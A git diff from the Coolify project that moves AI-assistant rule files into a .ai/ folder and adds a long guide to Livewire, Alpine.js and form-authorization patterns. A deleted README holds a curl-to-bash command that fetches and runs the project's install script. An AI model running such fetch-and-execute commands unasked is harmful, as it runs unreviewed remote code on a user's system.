+6. **Test all links** work from their respective locations
+7. **Update this sync-guide.md** if changing organizational structure
+8. **Verify consistency** before submitting PR
+
+## Questions?
+
+If unsure about where to document something:
+
+- **Version numbers** → `.ai/core/technology-stack.md` (ONLY location)
+- **Quick reference / commands** → CLAUDE.md + `.ai/development/development-workflow.md`
+- **Detailed patterns / examples** → `.ai/patterns/[topic].md`
+- **Architecture / concepts** → `.ai/core/[topic].md`
+- **Development practices** → `.ai/development/[topic].md`
+- **Documentation guides** → `.ai/meta/[topic].md`
+
+**Golden Rule**: Each piece of information exists in ONE location in `.ai/`, other files reference it.
+
+When in doubt, prefer detailed documentation in `.ai/` and lightweight references in CLAUDE.md and coolify-ai-docs.mdc.
diff --git a/.cursor/rules/api-and-routing.mdc b/.ai/patterns/api-and-routing.md
similarity index 98%
rename from .cursor/rules/api-and-routing.mdc
rename to .ai/patterns/api-and-routing.md
index 8321205ac..ceaadaad5 100644
--- a/.cursor/rules/api-and-routing.mdc
+++ b/.ai/patterns/api-and-routing.md
@@ -1,8 +1,3 @@
----
-description: RESTful API design, routing patterns, webhooks, and HTTP communication
-globs: routes/*.php, app/Http/Controllers/**/*.php, app/Http/Resources/*.php, app/Http/Requests/*.php
-alwaysApply: false
----
 # Coolify API & Routing Architecture
 
 ## Routing Structure
diff --git a/.cursor/rules/database-patterns.mdc b/.ai/patterns/database-patterns.md
similarity index 97%
rename from .cursor/rules/database-patterns.mdc
rename to .ai/patterns/database-patterns.md
index ec60a43b3..1e40ea152 100644
--- a/.cursor/rules/database-patterns.mdc
+++ b/.ai/patterns/database-patterns.md
@@ -1,8 +1,3 @@
----
-description: Database architecture, models, migrations, relationships, and data management patterns
-globs: app/Models/*.php, database/migrations/*.php, database/seeders/*.php, app/Actions/Database/*.php
-alwaysApply: false
----
 # Coolify Database Architecture & Patterns
 
 ## Database Strategy
diff --git a/.cursor/rules/form-components.mdc b/.ai/patterns/form-components.md
similarity index 98%
rename from .cursor/rules/form-components.mdc
rename to .ai/patterns/form-components.md
index 665ccfd98..3ff1d0f81 100644
--- a/.cursor/rules/form-components.mdc
+++ b/.ai/patterns/form-components.md
@@ -1,8 +1,3 @@
----
-description: Enhanced form components with built-in authorization system
-globs: resources/views/**/*.blade.php, app/View/Components/Forms/*.php
-alwaysApply: true
----
 
 # Enhanced Form Components with Authorization
 
diff --git a/.ai/patterns/frontend-patterns.md b/.ai/patterns/frontend-patterns.md
new file mode 100644
index 000000000..675881608
--- /dev/null
+++ b/.ai/patterns/frontend-patterns.md
@@ -0,0 +1,696 @@
+# Coolify Frontend Architecture & Patterns
+
+## Frontend Philosophy
+
+Coolify uses a **server-side first** approach with minimal JavaScript, leveraging Livewire for reactivity and Alpine.js for lightweight client-side interactions.
+
+## Core Frontend Stack
+
+### Livewire 3.5+ (Primary Framework)
+- **Server-side rendering** with reactive components
+- **Real-time updates** without page refreshes
+- **State management** handled on the server
+- **WebSocket integration** for live updates
+
+### Alpine.js (Client-Side Interactivity)
+- **Lightweight JavaScript** for DOM manipulation
+- **Declarative directives** in HTML
+- **Component-like behavior** without build steps
+- **Perfect companion** to Livewire
+
+### Tailwind CSS 4.1+ (Styling)
+- **Utility-first** CSS framework
+- **Custom design system** for deployment platform
+- **Responsive design** built-in
+- **Dark mode support**
+
+## Livewire Component Structure
+
+### Location: [app/Livewire/](mdc:app/Livewire)
+
+#### Core Application Components
+- **[Dashboard.php](mdc:app/Livewire/Dashboard.php)** - Main dashboard interface
+- **[ActivityMonitor.php](mdc:app/Livewire/ActivityMonitor.php)** - Real-time activity tracking
+- **[MonacoEditor.php](mdc:app/Livewire/MonacoEditor.php)** - Code editor component
+
+#### Server Management
+- **Server/** directory - Server configuration and monitoring
+- Real-time server status updates
+- SSH connection management
+- Resource monitoring
+
+#### Project & Application Management
+- **Project/** directory - Project organization
+- Application deployment interfaces
+- Environment variable management
+- Service configuration
+
+#### Settings & Configuration
+- **Settings/** directory - System configuration
+- **[SettingsEmail.php](mdc:app/Livewire/SettingsEmail.php)** - Email notification setup
+- **[SettingsOauth.php](mdc:app/Livewire/SettingsOauth.php)** - OAuth provider configuration
+- **[SettingsBackup.php](mdc:app/Livewire/SettingsBackup.php)** - Backup configuration
+
+#### User & Team Management
+- **Team/** directory - Team collaboration features
+- **Profile/** directory - User profile management
+- **Security/** directory - Security settings
+
+## Blade Template Organization
+
+### Location: [resources/views/](mdc:resources/views)
+
+#### Layout Structure
+- **layouts/** - Base layout templates
+- **components/** - Reusable UI components
+- **livewire/** - Livewire component views
+
+#### Feature-Specific Views
+- **server/** - Server management interfaces
+- **auth/** - Authentication pages
+- **emails/** - Email templates
+- **errors/** - Error pages
+
+## Interactive Components
+
+### Monaco Editor Integration
+- **Code editing** for configuration files
+- **Syntax highlighting** for multiple languages
+- **Live validation** and error detection
+- **Integration** with deployment process
+
+### Terminal Emulation (XTerm.js)
+- **Real-time terminal** access to servers
+- **WebSocket-based** communication
+- **Multi-session** support
+- **Secure connection** through SSH
+
+### Real-Time Updates
+- **WebSocket connections** via Laravel Echo
+- **Live deployment logs** streaming
+- **Server monitoring** with live metrics
+- **Activity notifications** in real-time
+
+## Alpine.js Patterns
+
+### Common Directives Used
+```html
+<!-- State management -->
+<div x-data="{ open: false }">
+
+<!-- Event handling -->
+<button x-on:click="open = !open">
+
+<!-- Conditional rendering -->
+<div x-show="open">
+
+<!-- Data binding -->
+<input x-model="searchTerm">
+
+<!-- Component initialization -->
+<div x-init="initializeComponent()">
+```
+
+### Integration with Livewire
+```html
+<!-- Livewire actions with Alpine state -->
+<button 
+    x-data="{ loading: false }"
+    x-on:click="loading = true"
+    wire:click="deploy"
+    wire:loading.attr="disabled"
+    wire:target="deploy"
+>
+    <span x-show="!loading">Deploy</span>
+    <span x-show="loading">Deploying...</span>
+</button>
+```
+
+## Tailwind CSS Patterns
+
+### Design System
+- **Consistent spacing** using Tailwind scale
+- **Color palette** optimized for deployment platform
+- **Typography** hierarchy for technical content
+- **Component classes** for reusable elements
+
+### Responsive Design
+```html
+<!-- Mobile-first responsive design -->
+<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3">
+    <!-- Content adapts to screen size -->
+</div>
+```
+
+### Dark Mode Support
+```html
+<!-- Dark mode variants -->
+<div class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
+    <!-- Automatic dark mode switching -->
+</div>
+```
+
+## Build Process
+
+### Vite Configuration ([vite.config.js](mdc:vite.config.js))
+- **Fast development** with hot module replacement
+- **Optimized production** builds
+- **Asset versioning** for cache busting
+- **CSS processing** with PostCSS
+
+### Asset Compilation
+```bash
+# Development
+npm run dev
+
+# Production build
+npm run build
+```
+
+## State Management Patterns
+
+### Server-Side State (Livewire)
+- **Component properties** for persistent state
+- **Session storage** for user preferences
+- **Database models** for application state
+- **Cache layer** for performance
+
+### Client-Side State (Alpine.js)
+- **Local component state** for UI interactions
+- **Form validation** and user feedback
+- **Modal and dropdown** state management
+- **Temporary UI states** (loading, hover, etc.)
+
+## Real-Time Features
+
+### WebSocket Integration
+```php
+// Livewire component with real-time updates
+class ActivityMonitor extends Component
+{
+    public function getListeners()
+    {
+        return [
+            'deployment.started' => 'refresh',
+            'deployment.finished' => 'refresh',
+            'server.status.changed' => 'updateServerStatus',
+        ];
+    }
+}
+```
+
+### Event Broadcasting
+- **Laravel Echo** for client-side WebSocket handling
+- **Pusher protocol** for real-time communication
+- **Private channels** for user-specific events
+- **Presence channels** for collaborative features
+
+## Performance Patterns
+
+### Lazy Loading
+```php
+// Livewire lazy loading
+class ServerList extends Component
+{
+    public function placeholder()
+    {
+        return view('components.loading-skeleton');
+    }
+}
+```
+
+### Caching Strategies
+- **Fragment caching** for expensive operations
+- **Image optimization** with lazy loading
+- **Asset bundling** and compression
+- **CDN integration** for static assets
+
+## Enhanced Form Components
+
+### Built-in Authorization System
+Coolify features **enhanced form components** with automatic authorization handling:
+
+```html
+<!-- ✅ New Pattern: Single line with built-in authorization -->
+<x-forms.input canGate="update" :canResource="$application" id="application.name" label="Name" />
+<x-forms.checkbox instantSave canGate="update" :canResource="$application" id="application.settings.is_static" label="Static Site" />
+<x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
+
+<!-- ❌ Old Pattern: Verbose @can/@else blocks (deprecated) -->
+@can('update', $application)
+    <x-forms.input id="application.name" label="Name" />
+@else
+    <x-forms.input disabled id="application.name" label="Name" />
+@endcan
+```
+
+### Authorization Parameters
+```php
+// Available on all form components (Input, Select, Textarea, Checkbox, Button)
+public ?string $canGate = null;        // Gate name: 'update', 'view', 'deploy', 'delete'
+public mixed $canResource = null;      // Resource model instance to check against
+public bool $autoDisable = true;       // Automatically disable if no permission (default: true)
+```
+
+### Benefits
+- **90% code reduction** for authorization-protected forms
+- **Consistent security** across all form components
+- **Automatic disabling** for unauthorized users
+- **Smart behavior** (disables instantSave on checkboxes for unauthorized users)
+
+For complete documentation, see **[form-components.md](.ai/patterns/form-components.md)**
+
+## Form Handling Patterns
+
+### Livewire Component Data Synchronization Pattern
+
+**IMPORTANT**: All Livewire components must use the **manual `syncData()` pattern** for synchronizing component properties with Eloquent models.
+
+#### Property Naming Convention
+- **Component properties**: Use camelCase (e.g., `$gitRepository`, `$isStatic`)
+- **Database columns**: Use snake_case (e.g., `git_repository`, `is_static`)
+- **View bindings**: Use camelCase matching component properties (e.g., `id="gitRepository"`)
+
+#### The syncData() Method Pattern
+
+```php
+use Livewire\Attributes\Validate;
+use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+
+class MyComponent extends Component
+{
+    use AuthorizesRequests;
+
+    public Application $application;
+
+    // Properties with validation attributes
+    #[Validate(['required'])]
+    public string $name;
+
+    #[Validate(['string', 'nullable'])]
+    public ?string $description = null;
+
+    #[Validate(['boolean', 'required'])]
+    public bool $isStatic = false;
+
+    public function mount()
+    {
+        $this->authorize('view', $this->application);
+        $this->syncData(); // Load from model
+    }
+
+    public function syncData(bool $toModel = false): void
+    {
+        if ($toModel) {
+            $this->validate();
+
+            // Sync TO model (camelCase → snake_case)
+            $this->application->name = $this->name;
+            $this->application->description = $this->description;
+            $this->application->is_static = $this->isStatic;
+
+            $this->application->save();
+        } else {
+            // Sync FROM model (snake_case → camelCase)
+            $this->name = $this->application->name;
+            $this->description = $this->application->description;
+            $this->isStatic = $this->application->is_static;
+        }
+    }
+
+    public function submit()
+    {
+        $this->authorize('update', $this->application);
+        $this->syncData(toModel: true); // Save to model
+        $this->dispatch('success', 'Saved successfully.');
+    }
+}
+```
+
+#### Validation with #[Validate] Attributes
+
+All component properties should have `#[Validate]` attributes:
+
+```php
+// Boolean properties
+#[Validate(['boolean'])]
+public bool $isEnabled = false;
+
+// Required strings
+#[Validate(['string', 'required'])]
+public string $name;
+
+// Nullable strings
+#[Validate(['string', 'nullable'])]
+public ?string $description = null;
+
+// With constraints
+#[Validate(['integer', 'min:1'])]
+public int $timeout;
+```
+
+#### Benefits of syncData() Pattern
+
+- **Explicit Control**: Clear visibility of what's being synchronized
+- **Type Safety**: #[Validate] attributes provide compile-time validation info
+- **Easy Debugging**: Single method to check for data flow issues
+- **Maintainability**: All sync logic in one place
+- **Flexibility**: Can add custom logic (encoding, transformations, etc.)
+
+#### Creating New Form Components with syncData()
+
+#### Step-by-Step Component Creation Guide
+
+**Step 1: Define properties in camelCase with #[Validate] attributes**
+```php
+use Livewire\Attributes\Validate;
+use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+use Livewire\Component;
+
+class MyFormComponent extends Component
+{
+    use AuthorizesRequests;
+
+    // The model we're syncing with
+    public Application $application;
+
+    // Component properties in camelCase with validation
+    #[Validate(['string', 'required'])]
+    public string $name;
+
+    #[Validate(['string', 'nullable'])]
+    public ?string $gitRepository = null;
+
+    #[Validate(['string', 'nullable'])]
+    public ?string $installCommand = null;
+
+    #[Validate(['boolean'])]
+    public bool $isStatic = false;
+}
+```
+
+**Step 2: Implement syncData() method**
+```php
+public function syncData(bool $toModel = false): void
+{
+    if ($toModel) {
+        $this->validate();
+
+        // Sync TO model (component camelCase → database snake_case)
+        $this->application->name = $this->name;
+        $this->application->git_repository = $this->gitRepository;
+        $this->application->install_command = $this->installCommand;
+        $this->application->is_static = $this->isStatic;
+
+        $this->application->save();
+    } else {
+        // Sync FROM model (database snake_case → component camelCase)
+        $this->name = $this->application->name;
+        $this->gitRepository = $this->application->git_repository;
+        $this->installCommand = $this->application->install_command;
+        $this->isStatic = $this->application->is_static;
+    }
+}
+```
+
+**Step 3: Implement mount() to load initial data**
+```php
+public function mount()
+{
+    $this->authorize('view', $this->application);
+    $this->syncData(); // Load data from model to component properties
+}
+```
+
+**Step 4: Implement action methods with authorization**
+```php
+public function instantSave()
+{
+    try {
+        $this->authorize('update', $this->application);
+        $this->syncData(toModel: true); // Save component properties to model
+        $this->dispatch('success', 'Settings saved.');
+    } catch (\Throwable $e) {
+        return handleError($e, $this);
+    }
+}
+
+public function submit()
+{
+    try {
+        $this->authorize('update', $this->application);
+        $this->syncData(toModel: true); // Save component properties to model
+        $this->dispatch('success', 'Changes saved successfully.');
+    } catch (\Throwable $e) {
+        return handleError($e, $this);
+    }
+}
+```
+
+**Step 5: Create Blade view with camelCase bindings**
+```blade
+<div>
+    <form wire:submit="submit">
+        <x-forms.input
+            canGate="update"
+            :canResource="$application"
+            id="name"
+            label="Name"
+            required />
+
+        <x-forms.input
+            canGate="update"
+            :canResource="$application"
+            id="gitRepository"
+            label="Git Repository" />
+
+        <x-forms.input
+            canGate="update"
+            :canResource="$application"
+            id="installCommand"
+            label="Install Command" />
+
+        <x-forms.checkbox
+            instantSave
+            canGate="update"
+            :canResource="$application"
+            id="isStatic"
+            label="Static Site" />
+
+        <x-forms.button
+            canGate="update"
+            :canResource="$application"
+            type="submit">
+            Save Changes
+        </x-forms.button>
+    </form>
+</div>
+```
+
+**Key Points**:
+- Use `wire:model="camelCase"` and `id="camelCase"` in Blade views
+- Component properties are camelCase, database columns are snake_case
+- Always include authorization checks (`authorize()`, `canGate`, `canResource`)
+- Use `instantSave` for checkboxes that save immediately without form submission
+
+#### Special Patterns
+
+**Pattern 1: Related Models (e.g., Application → Settings)**
+```php
+public function syncData(bool $toModel = false): void
+{
+    if ($toModel) {
+        $this->validate();
+
+        // Sync main model
+        $this->application->name = $this->name;
+        $this->application->save();
+
+        // Sync related model
+        $this->application->settings->is_static = $this->isStatic;
+        $this->application->settings->save();
+    } else {
+        // From main model
+        $this->name = $this->application->name;
+
+        // From related model
+        $this->isStatic = $this->application->settings->is_static;
+    }
+}
+```
+
+**Pattern 2: Custom Encoding/Decoding**
+```php
+public function syncData(bool $toModel = false): void
+{
+    if ($toModel) {
+        $this->validate();
+
+        // Encode before saving
+        $this->application->custom_labels = base64_encode($this->customLabels);
+        $this->application->save();
+    } else {
+        // Decode when loading
+        $this->customLabels = $this->application->parseContainerLabels();
+    }
+}
+```
+
+**Pattern 3: Error Rollback**
+```php
+public function submit()
+{
+    $this->authorize('update', $this->resource);
+    $original = $this->model->getOriginal();
+
+    try {
+        $this->syncData(toModel: true);
+        $this->dispatch('success', 'Saved successfully.');
+    } catch (\Throwable $e) {
+        // Rollback on error
+        $this->model->setRawAttributes($original);
+        $this->model->save();
+        $this->syncData(); // Reload from model
+        return handleError($e, $this);
+    }
+}
+```
+
+#### Property Type Patterns
+
+**Required Strings**
+```php
+#[Validate(['string', 'required'])]
+public string $name;  // No ?, no default, always has value
+```
+
+**Nullable Strings**
+```php
+#[Validate(['string', 'nullable'])]
+public ?string $description = null;  // ?, = null, can be empty
+```
+
+**Booleans**
+```php
+#[Validate(['boolean'])]
+public bool $isEnabled = false;  // Always has default value
+```
+
+**Integers with Constraints**
+```php
+#[Validate(['integer', 'min:1'])]
+public int $timeout;  // Required
+
+#[Validate(['integer', 'min:1', 'nullable'])]
+public ?int $port = null;  // Nullable
+```
+
+#### Testing Checklist
+
+After creating a new component with syncData(), verify:
+
+- [ ] All checkboxes save correctly (especially `instantSave` ones)
+- [ ] All form inputs persist to database
+- [ ] Custom encoded fields (like labels) display correctly if applicable
+- [ ] Form validation works for all fields
+- [ ] No console errors in browser
+- [ ] Authorization checks work (`@can` directives and `authorize()` calls)
+- [ ] Error rollback works if exceptions occur
+- [ ] Related models save correctly if applicable (e.g., Application + ApplicationSetting)
+
+#### Common Pitfalls to Avoid
+
+1. **snake_case in component properties**: Always use camelCase for component properties (e.g., `$gitRepository` not `$git_repository`)
+2. **Missing #[Validate] attributes**: Every property should have validation attributes for type safety
+3. **Forgetting to call syncData()**: Must call `syncData()` in `mount()` to load initial data
+4. **Missing authorization**: Always use `authorize()` in methods and `canGate`/`canResource` in views
+5. **View binding mismatch**: Use camelCase in Blade (e.g., `id="gitRepository"` not `id="git_repository"`)
+6. **wire:model vs wire:model.live**: Use `.live` for `instantSave` checkboxes to avoid timing issues
+7. **Validation sync**: If using `rules()` method, keep it in sync with `#[Validate]` attributes
+8. **Related models**: Don't forget to save both main and related models in syncData() method
+
+### Livewire Forms
+```php
+class ServerCreateForm extends Component
+{
+    public $name;
+    public $ip;
+
+    protected $rules = [
+        'name' => 'required|min:3',
+        'ip' => 'required|ip',
+    ];
+
+    public function save()
+    {
+        $this->validate();
+        // Save logic
+    }
+}
+```
+
+### Real-Time Validation
+- **Live validation** as user types
+- **Server-side validation** rules
+- **Error message** display
+- **Success feedback** patterns
+
+## Component Communication
+
+### Parent-Child Communication
+```php
+// Parent component
+$this->emit('serverCreated', $server->id);
+
+// Child component
+protected $listeners = ['serverCreated' => 'refresh'];
+```
+
+### Cross-Component Events
+- **Global events** for application-wide updates
+- **Scoped events** for feature-specific communication
+- **Browser events** for JavaScript integration
+
+## Error Handling & UX
+
+### Loading States
+- **Skeleton screens** during data loading
+- **Progress indicators** for long operations
+- **Optimistic updates** with rollback capability
+
+### Error Display
+- **Toast notifications** for user feedback
+- **Inline validation** errors
+- **Global error** handling
+- **Retry mechanisms** for failed operations
+
+## Accessibility Patterns
+
+### ARIA Labels and Roles
+```html
+<button
+    aria-label="Deploy application"
+    aria-describedby="deploy-help"
+    wire:click="deploy"
+>
+    Deploy
+</button>
+```
+
+### Keyboard Navigation
+- **Tab order** management
+- **Keyboard shortcuts** for power users
+- **Focus management** in modals and forms
+- **Screen reader** compatibility
+
+## Mobile Optimization
+
+### Touch-Friendly Interface
+- **Larger tap targets** for mobile devices
+- **Swipe gestures** where appropriate
+- **Mobile-optimized** forms and navigation
+
+### Progressive Enhancement
+- **Core functionality** works without JavaScript
+- **Enhanced experience** with JavaScript enabled
+- **Offline capabilities** where possible
diff --git a/.cursor/rules/security-patterns.mdc b/.ai/patterns/security-patterns.md
similarity index 99%
rename from .cursor/rules/security-patterns.mdc
rename to .ai/patterns/security-patterns.md
index a7ab2ad69..ac1470ac9 100644
--- a/.cursor/rules/security-patterns.mdc
+++ b/.ai/patterns/security-patterns.md
@@ -1,8 +1,3 @@
----
-description: Security architecture, authentication, authorization patterns, and enhanced form component security
-globs: app/Policies/*.php, app/View/Components/Forms/*.php, app/Http/Middleware/*.php, resources/views/**/*.blade.php
-alwaysApply: true
----
 # Coolify Security Architecture & Patterns
 
 ## Security Philosophy
diff --git a/.coderabbit.yaml b/.coderabbit.yaml
deleted file mode 100644
index 24c099119..000000000
--- a/.coderabbit.yaml
+++ /dev/null
@@ -1,2 +0,0 @@
-reviews:
-  review_status: false
diff --git a/.cursor/rules/README.mdc b/.cursor/rules/README.mdc
deleted file mode 100644
index d0597bb72..000000000
--- a/.cursor/rules/README.mdc
+++ /dev/null
@@ -1,297 +0,0 @@
----
-description: Complete guide to Coolify Cursor rules and development patterns
-globs: .cursor/rules/*.mdc
-alwaysApply: false
----
-# Coolify Cursor Rules - Complete Guide
-
-## Overview
-
-This comprehensive set of Cursor Rules provides deep insights into **Coolify**, an open-source self-hostable alternative to Heroku/Netlify/Vercel. These rules will help you understand, navigate, and contribute to this complex Laravel-based deployment platform.
-
-> **Cross-Reference**: This directory is for **detailed, topic-specific rules** used by Cursor IDE and other AI assistants. For Claude Code specifically, also see **[CLAUDE.md](mdc:CLAUDE.md)** which provides a condensed, workflow-focused guide. Both systems share core principles but are optimized for their respective tools.
->
-> **Maintaining Rules**: When updating these rules, see **[.AI_INSTRUCTIONS_SYNC.md](mdc:.AI_INSTRUCTIONS_SYNC.md)** for synchronization guidelines to keep CLAUDE.md and .cursor/rules/ consistent.
-
-## Rule Categories
-
-### 🏗️ Architecture & Foundation
-- **[project-overview.mdc](mdc:.cursor/rules/project-overview.mdc)** - What Coolify is and its core mission
-- **[technology-stack.mdc](mdc:.cursor/rules/technology-stack.mdc)** - Complete technology stack and dependencies
-- **[application-architecture.mdc](mdc:.cursor/rules/application-architecture.mdc)** - Laravel application structure and patterns
-
-### 🎨 Frontend Development
-- **[frontend-patterns.mdc](mdc:.cursor/rules/frontend-patterns.mdc)** - Livewire + Alpine.js + Tailwind architecture
-- **[form-components.mdc](mdc:.cursor/rules/form-components.mdc)** - Enhanced form components with built-in authorization
-
-### 🗄️ Data & Backend
-- **[database-patterns.mdc](mdc:.cursor/rules/database-patterns.mdc)** - Database architecture, models, and data management
-- **[deployment-architecture.mdc](mdc:.cursor/rules/deployment-architecture.mdc)** - Docker orchestration and deployment workflows
-
-### 🌐 API & Communication
-- **[api-and-routing.mdc](mdc:.cursor/rules/api-and-routing.mdc)** - RESTful APIs, webhooks, and routing patterns
-
-### 🧪 Quality Assurance
-- **[testing-patterns.mdc](mdc:.cursor/rules/testing-patterns.mdc)** - Testing strategies with Pest PHP and Laravel Dusk
-
-### 🔧 Development Process
-- **[development-workflow.mdc](mdc:.cursor/rules/development-workflow.mdc)** - Development setup, coding standards, and contribution guidelines
-
-### 🔒 Security
-- **[security-patterns.mdc](mdc:.cursor/rules/security-patterns.mdc)** - Security architecture, authentication, and best practices
-
-## Quick Navigation
-
-### Core Application Files
-- **[app/Models/Application.php](mdc:app/Models/Application.php)** - Main application entity (74KB, highly complex)
-- **[app/Models/Server.php](mdc:app/Models/Server.php)** - Server management (46KB, complex)
-- **[app/Models/Service.php](mdc:app/Models/Service.php)** - Service definitions (58KB, complex)
-- **[app/Models/Team.php](mdc:app/Models/Team.php)** - Multi-tenant structure (8.9KB)
-
-### Configuration Files
-- **[composer.json](mdc:composer.json)** - PHP dependencies and Laravel setup
-- **[package.json](mdc:package.json)** - Frontend dependencies and build scripts
-- **[vite.config.js](mdc:vite.config.js)** - Frontend build configuration
-- **[docker-compose.dev.yml](mdc:docker-compose.dev.yml)** - Development environment
-
-### API Documentation
-- **[openapi.json](mdc:openapi.json)** - Complete API documentation (373KB)
-- **[routes/api.php](mdc:routes/api.php)** - API endpoint definitions (13KB)
-- **[routes/web.php](mdc:routes/web.php)** - Web application routes (21KB)
-
-## Key Concepts to Understand
-
-### 1. Multi-Tenant Architecture
-Coolify uses a **team-based multi-tenancy** model where:
-- Users belong to multiple teams
-- Resources are scoped to teams
-- Access control is team-based
-- Data isolation is enforced at the database level
-
-### 2. Deployment Philosophy
-- **Docker-first** approach for all deployments
-- **Zero-downtime** deployments with health checks
-- **Git-based** workflows with webhook integration
-- **Multi-server** support with SSH connections
-
-### 3. Technology Stack
-- **Backend**: Laravel 12 + PHP 8.4
-- **Frontend**: Livewire 3.5 + Alpine.js + Tailwind CSS 4.1
-- **Database**: PostgreSQL 15 + Redis 7
-- **Containerization**: Docker + Docker Compose
-- **Testing**: Pest PHP 3.8 + Laravel Dusk
-
-### 4. Security Model
-- **Defense-in-depth** security architecture
-- **OAuth integration** with multiple providers
-- **API token** authentication with Sanctum
-- **Encrypted storage** for sensitive data
-- **SSH key** management for server access
-
-## Development Quick Start
-
-### Local Setup
-```bash
-# Clone and setup
-git clone https://github.com/coollabsio/coolify.git
-cd coolify
-cp .env.example .env
-
-# Docker development (recommended)
-docker-compose -f docker-compose.dev.yml up -d
-docker-compose exec app composer install
-docker-compose exec app npm install
-docker-compose exec app php artisan migrate
-```
-
-### Code Quality
-```bash
-# PHP code style
-./vendor/bin/pint
-
-# Static analysis
-./vendor/bin/phpstan analyse
-
-# Run tests
-./vendor/bin/pest
-```
-
-## Common Patterns
-
-### Livewire Components
-```php
-class ApplicationShow extends Component
-{
-    public Application $application;
-    
-    protected $listeners = [
-        'deployment.started' => 'refresh',
-        'deployment.completed' => 'refresh',
-    ];
-    
-    public function deploy(): void
-    {
-        $this->authorize('deploy', $this->application);
-        app(ApplicationDeploymentService::class)->deploy($this->application);
-    }
-}
-```
-
-### API Controllers
-```php
-class ApplicationController extends Controller
-{
-    public function __construct()
-    {
-        $this->middleware('auth:sanctum');
-        $this->middleware('team.access');
-    }
-    
-    public function deploy(Application $application): JsonResponse
-    {
-        $this->authorize('deploy', $application);
-        $deployment = app(ApplicationDeploymentService::class)->deploy($application);
-        return response()->json(['deployment_id' => $deployment->id]);
-    }
-}
-```
-
-### Queue Jobs
-```php
-class DeployApplicationJob implements ShouldQueue
-{
-    public function handle(DockerService $dockerService): void
-    {
-        $this->deployment->update(['status' => 'running']);
-        
-        try {
-            $dockerService->deployContainer($this->deployment->application);
-            $this->deployment->update(['status' => 'success']);
-        } catch (Exception $e) {
-            $this->deployment->update(['status' => 'failed']);
-            throw $e;
-        }
-    }
-}
-```
-
-## Testing Patterns
-
-### Feature Tests
-```php
-test('user can deploy application via API', function () {
-    $user = User::factory()->create();
-    $application = Application::factory()->create(['team_id' => $user->currentTeam->id]);
-    
-    $response = $this->actingAs($user)
-        ->postJson("/api/v1/applications/{$application->id}/deploy");
-    
-    $response->assertStatus(200);
-    expect($application->deployments()->count())->toBe(1);
-});
-```
-
-### Browser Tests
-```php
-test('user can create application through UI', function () {
-    $user = User::factory()->create();
-    
-    $this->browse(function (Browser $browser) use ($user) {
-        $browser->loginAs($user)
-            ->visit('/applications/create')
-            ->type('name', 'Test App')
-            ->press('Create Application')
-            ->assertSee('Application created successfully');
-    });
-});
-```
-
-## Security Considerations
-
-### Authentication
-- Multi-provider OAuth support
-- API token authentication
-- Team-based access control
-- Session management
-
-### Data Protection
-- Encrypted environment variables
-- Secure SSH key storage
-- Input validation and sanitization
-- SQL injection prevention
-
-### Container Security
-- Non-root container users
-- Minimal capabilities
-- Read-only filesystems
-- Network isolation
-
-## Performance Optimization
-
-### Database
-- Eager loading relationships
-- Query optimization
-- Connection pooling
-- Caching strategies
-
-### Frontend
-- Lazy loading components
-- Asset optimization
-- CDN integration
-- Real-time updates via WebSockets
-
-## Contributing Guidelines
-
-### Code Standards
-- PSR-12 PHP coding standards
-- Laravel best practices
-- Comprehensive test coverage
-- Security-first approach
-
-### Pull Request Process
-1. Fork repository
-2. Create feature branch
-3. Implement with tests
-4. Run quality checks
-5. Submit PR with clear description
-
-## Useful Commands
-
-### Development
-```bash
-# Start development environment
-docker-compose -f docker-compose.dev.yml up -d
-
-# Run tests
-./vendor/bin/pest
-
-# Code formatting
-./vendor/bin/pint
-
-# Frontend development
-npm run dev
-```
-
-### Production
-```bash
-# Install Coolify
-curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash
-
-# Update Coolify
-./scripts/upgrade.sh
-```
-
-## Resources
-
-### Documentation
-- **[README.md](mdc:README.md)** - Project overview and installation
-- **[CONTRIBUTING.md](mdc:CONTRIBUTING.md)** - Contribution guidelines
-- **[CHANGELOG.md](mdc:CHANGELOG.md)** - Release history
-- **[TECH_STACK.md](mdc:TECH_STACK.md)** - Technology overview
-
-### Configuration
-- **[config/](mdc:config)** - Laravel configuration files
-- **[database/migrations/](mdc:database/migrations)** - Database schema
-- **[tests/](mdc:tests)** - Test suite
-
-This comprehensive rule set provides everything needed to understand, develop, and contribute to the Coolify project effectively. Each rule focuses on specific aspects while maintaining connections to the broader architecture.
diff --git a/.cursor/rules/application-architecture.mdc b/.cursor/rules/application-architecture.mdc
deleted file mode 100644
index ef8d549ad..000000000
--- a/.cursor/rules/application-architecture.mdc
+++ /dev/null
@@ -1,368 +0,0 @@
----
-description: Laravel application structure, patterns, and architectural decisions
-globs: app/**/*.php, config/*.php, bootstrap/**/*.php
-alwaysApply: false
----
-# Coolify Application Architecture
-
-## Laravel Project Structure
-
-### **Core Application Directory** ([app/](mdc:app))
-
-```
-app/
-├── Actions/           # Business logic actions (Action pattern)
-├── Console/           # Artisan commands
-├── Contracts/         # Interface definitions
-├── Data/              # Data Transfer Objects (Spatie Laravel Data)
-├── Enums/             # Enumeration classes
-├── Events/            # Event classes
-├── Exceptions/        # Custom exception classes
-├── Helpers/           # Utility helper classes
-├── Http/              # HTTP layer (Controllers, Middleware, Requests)
-├── Jobs/              # Background job classes
-├── Listeners/         # Event listeners
-├── Livewire/          # Livewire components (Frontend)
-├── Models/            # Eloquent models (Domain entities)
-├── Notifications/     # Notification classes
-├── Policies/          # Authorization policies
-├── Providers/         # Service providers
-├── Repositories/      # Repository pattern implementations
-├── Services/          # Service layer classes
-├── Traits/            # Reusable trait classes
-└── View/              # View composers and creators
-```
-
-## Core Domain Models
-
-### **Infrastructure Management**
-
-#### **[Server.php](mdc:app/Models/Server.php)** (46KB, 1343 lines)
-- **Purpose**: Physical/virtual server management
-- **Key Relationships**:
-  - `hasMany(Application::class)` - Deployed applications
-  - `hasMany(StandalonePostgresql::class)` - Database instances
-  - `belongsTo(Team::class)` - Team ownership
-- **Key Features**:
-  - SSH connection management
-  - Resource monitoring
-  - Proxy configuration (Traefik/Caddy)
-  - Docker daemon interaction
-
-#### **[Application.php](mdc:app/Models/Application.php)** (74KB, 1734 lines)
-- **Purpose**: Application deployment and management
-- **Key Relationships**:
-  - `belongsTo(Server::class)` - Deployment target
-  - `belongsTo(Environment::class)` - Environment context
-  - `hasMany(ApplicationDeploymentQueue::class)` - Deployment history
-- **Key Features**:
